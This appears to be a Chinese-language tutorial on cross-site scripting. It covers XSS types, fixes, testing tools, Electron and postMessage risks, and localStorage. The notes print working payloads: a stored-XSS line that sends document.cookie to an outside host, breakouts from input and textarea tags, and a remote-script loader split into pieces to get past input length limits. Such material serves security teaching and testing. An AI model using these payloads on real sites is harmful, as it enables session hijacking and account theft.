XSS漏洞原理和利用

XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被窃取,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击
4.用户PC信息探测收集器
5.XSS蠕虫攻击
等等

防御:对一些关键cookie信息不能被js端操作的,我们可以使用http-only参数设置为true,这样js就不能操作该cookie了。

XSS 跨站攻击就是入侵者在远程Web页面的HTML代码中插入具有恶意目的的代码,当用户点击此页面时就是被执行入侵者代码,然后改代码会收集用户的Cookie等前端页面JS可以操作的数据和内容。比如账号,密码,用户权限等。

1.XSS介绍及原理

XSS又叫CSS(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而
达到恶意的特殊目的。

利用我们所知道的各种黑魔法,向Web页面插入JS代码,让JS代码可以被浏览器执行,
访问该页面的用户则被攻击。

XSS漏洞分类
1.反射型
非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上

2.存储型
XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里

3.DOM型
仅仅在前段页面进行操作的

XSS漏洞修复方法
1.HTML实体编码
2.使用白名单过滤掉用户输入的恶意字符
3.根据业务场景对症下药




2.存储型XSS实战

1)、存储XSS的原理
攻击者在页面上插入XSS代码,服务器端将数据存入数据库,当用户访问到存在XSS漏洞的页面时
服务器端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果。

XSS漏洞原理和利用_数据

XSS漏洞:就是写一段JS/HTML代码放到用户可以编辑内容的文本框中,随着数据一起上传到服务器的表字段里存着
当用户访问这个数据时,就会执行我们写的JS/HTML代码。

修复漏洞:在服务端过滤掉HTML的尖括号,比如php的自带函数strip_tags(),然后对于一些可以执行的函数进行
手动写函数过滤,过滤掉onchange(),onload(),onclick(),onerror()等等函数



3.反射型XSS实战

反射型XSS的原理

反射型XSS也叫做非持久型XSS,
攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户,
用户打开后受到XSS攻击。

XSS漏洞原理和利用_Web_02



4.DOM型XSS实战

通过修改页面的DOM节点形成的XSS,称之为XSS;效果跟反射型XSS类似
攻击者在URL中插入XSS代码,前端页面直接从URL中获取XSS代码并且输出到页面,导致XSS代码的执行,攻击者将带有XSS代码的URL发给用户,用户打开后受到XSS攻击。

XSS漏洞原理和利用_Web_03



5.XSS辅助测试工具

工具1:Beef
http://beefproject.com 一个挖漏洞项目,可以将它的hook.js通过XSS的方法被存储到某个网站,然后那个网站只要访问这个页面信息,
那么整个网站就被监控了

工具2:XSS’OR
http://xssor.io 是一个在线XSS代码的转换工具,也可以发送伪造请求

XSS测试平台,老师他们自己创建的
https://x.secbox.cn

工具3:IE Tester
该工具可以在IE5,6,7,8等版本的上测试网页




XSS代码的例子

例子 0x01

一段XSS代码,可以放到输入框中随着数据一起上传,最后用户浏览的cookie信息都自动上传到http://172.16.11.2:8888 上了

<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','http://172.16.11.2:8888/?='+document.cookie); >

最后读取出来的html代码是这样

XSS漏洞原理和利用_HTML_04


然后,只要有用户访问这个页面的,那么代码就会被执行,其实PHPSESSID就会被自动传输到我们自定义的网址上(http://172.16.11.2:888)

绕过input和textarea标签的限制

例子 0x02:

比如页面的是input标签显示我们的XSS代码

<input type="text" value="<img src=x οnerrοr='alert(1)'>">

这样的代码,alert(1)是不会执行的,所以我们修改XSS的代码

"><img src=x onerror='alert(1)'><h1 value="

最后合并为:

<input type="text" value=""><img src=x onerror='alert(1)'><h1 value="">

这样的话,我们的XSS代码就插入成功了

例子 0x03:

如果我们的XSS代码在textarea标签里的话,那么代码也不会执行,所以我们要修改XSS代码

<textarea><img src=x onerror='alert(1)'></textarea>

修改:

</textarea><img src=x onerror='alert(1)'><textarea>

合并后最终的代码是:

<textarea></textarea><img src=x onerror='alert(1)'><textarea></textarea>

这样的话,我们的XSS就绕过了textarea的限制



例子 0x04: 拆分XSS代码,Bypass绕过提交

如果输入框被限制了输入长度,我们可以通过拆分JS的代码,分成多段以提交

例如:
一个完整的在img标签上XSS代码

<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='https://x.secbox.cn/uCoBtX';>

一个完整的在script标签里的XSS代码

<script>s=document.createElement('script');body.appendChild(s);s.src='https://x.secbox.cn/uCoBtX';</script>

拆分开来进行XSS代码提交,假设页面的输入框限制30个字符的长度提交,那我们就把原XSS代码拆分开多段来提交

就是把完整的代码分开成几段,每段前后用的标签的JS语法,表示注释掉之间的HTML任何内容:

<td><script>s=document./*</td>
<td>*/createElement('script');/*</td>
<td>*/body.appendChild(s);/*</td>
<td>*/s.src='https://x.sec'+/*</td>
<td>*/'box.cn/uCoBtX';</script>/*</td>

然后提交的时候,抛去前后标签,分成5次提交。

DOM型的XSS实际场景下,一般我们就是分析前端的Javascript代码和HTML代码,然后我们可以在F12调试下动态去运行JS代码以达到我们的攻击目的

https://www.ichunqiu.com/career/105/330




Electron

官网 https://electronjs.org Electron是使用JavaScript、HTML、CSS构建跨平台的桌面应用,
程序可以运行在Mac,Linux和Windows平台上,因为本质上就是使用NodeJS封装的,
而我们的业务功能就是使用HTML、CSS、JavaScript开发的

Electron + XSS = CommandExec 是比较严重的

postMessage介绍

是通过js发送消息的函数
window.postMessage()官方介绍
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

通过window.addEventListener(“message”, function(){}, false);监听消息,
window.postMessage("", “”);就是发送消息

挖漏洞的一些教程
使用postMessage()和WebSocket重连来窃取你的Slack的Token
https://www.anquanke.com/post/id/85634

AddThis Wedget调用post Message API导致上百万网站存在存在XSS漏洞
http://www.mottoin.com/94130.html

localStorage

是通过js存储值用的
window.localStorage
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage

只读的localStorage 属性允许你访问一个Document 源(origin)的对象 Storage;存储的数据将保存在浏览器会话中。localStorage 类似 sessionStorage,但其区别在于:存储在 localStorage 的数据可以长期保留;而当页面会话结束——也就是说,当页面被关闭时,存储在 sessionStorage 的数据会被清除 。

应注意,无论数据存储在 localStorage 还是 sessionStorage ,它们都特定于页面的协议。

另外,localStorage 中的键值对总是以字符串的形式存储。 (需要注意, 和js对象相比, 键值对总是以字符串的形式存储意味着数值类型会自动转化为字符串类型).

localStorage.setItem(‘myCat’, ‘Tom’);
let cat = localStorage.getItem(‘myCat’);
localStorage.removeItem(‘myCat’);
localStorage.clear();

通过localStorage.setItem('username', '<svg/onload=alert(1)></svg>')来做到反射型XSS,然后再看是否可以利用存储型XSS

变种 XSS

XSS 持久控制思路

XSS漏洞原理和利用_漏洞_05

ServiceWorker: https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API Service workers 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。





经验分享 | XSS手工利用方式:https://www.freebuf.com/sectool/159689.html

PHPMyWin 5.3 - Cross-Site Scripting:https://www.exploit-db.com/exploits/42535

Kali Linux 下载:https://www.kali.org/downloads/

i春秋学习教程:https://www.ichunqiu.com/newRelease/webaqgcs